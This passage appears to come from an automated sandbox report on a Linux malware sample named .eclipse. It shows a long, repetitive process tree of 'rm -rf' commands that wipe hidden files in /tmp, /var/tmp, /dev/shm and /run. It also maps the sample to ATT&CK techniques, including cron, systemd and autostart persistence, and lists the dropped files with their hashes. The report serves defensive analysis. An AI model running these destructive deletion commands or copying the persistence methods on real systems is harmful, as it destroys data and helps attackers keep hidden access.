  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1706
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1707
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1708
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1709
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1710
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1711
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1712
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1713
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1714
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1715
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1716
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1717
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1718
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1719
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1720
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1721
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1722
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1723
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1724
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1725
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1726
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1727
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1728
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1729
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1730
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1731
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1732
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1733
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1734
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1735
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1736
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1737
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1738
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1739
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1740
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1741
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1742
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1743
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1744
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1745
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1746
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1747
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1748
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1749
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1750
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1751
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1752
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1753
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1754
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1755
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1756
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1757
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1758
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1759
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1760
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1761
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1762
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1763
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1764
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1765
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1766
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1767
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1768
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1769
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1770
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1771
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1772
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1773
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1774
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1775
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1776
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1777

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.eclipse.service

Path /etc/systemd/system/.eclipse.service
Size 175B
SHA256 4f14b722591577aac6a2f7c7181d780cf468d13aae57e629b434b54fa8e54a51
MD5 ce8d2cd64f9c282d532a26c2e37f74f0
SHA1 fc34fe022e716204b46e274e3a4fc1c6993019d0
SHA512 7f5331b0a0534ac756b5ba0e2d5b7931e4d8db9af14a50ad2ccca2bc879ccb69ebab759c3fc4f965f37135265e958c2d0a9935bbd7329641600818779e36c94e
TLSH
T1AFC0C033270120E1CC4F35F19F637B000C100140018EF0300BD0102848F36429032DB9
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.U75S81

Path /var/spool/cron/crontabs/tmp.U75S81
Size 175B
SHA256 c86a65734b47068eb07932e3407bda0196f658cdc4a6b9861937d4ed29af6233
MD5 7224c4cdf784d6c50d6ed2632736a5ea
SHA1 ec4129f6fd011f3df7974022307c319b6b9bbf1d
SHA512 37ba2906cdc2c78fb7a9a9710e3bb476e7a9fd74f8b44da74dac675870da1872c2011d365c5899522345beafed4eb53b3886f04cb3d43d525339ba71fafd61a2
TLSH
T1ADC0C01C7F10E4301D800705115A16186C41903CD00DEE00D1CD0008030328C3B81831
MD5 SHA1 SHA512 TLSH

Submit Download

.eclipse

Path /var/tmp/.eclipse
Size 1.6MB
SHA256 560a90ffe544c767b3bf53a0af1347d8565f8587ba7edb113e42e57983bb936a
MD5 c43eab901d9a04eed5e9791121ffb713
SHA1 cbbf9a2e7385405f14b34c793c8979a7ed30952d
SHA512 15bd8765eedec76b216ae2f9bc526b93ab39107c77da0d6b7cd02226c5c277cab44db287d4617f26f6cb8588e363c8689249ffdd7f973d8455f80a474092747f
SSDEEP 24576:LXX/J92uX2bINMTd+vZie7gNXHDeivHQtHpAX7ZfJZ8LUghXA:LXXx9dX2bIMgswgNXHKi/QtHpAX7ru
TLSH
T15C858D5AF6E364BCC097C430835FD753A935F4A911223E7F36849A302E66E705B2DB62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads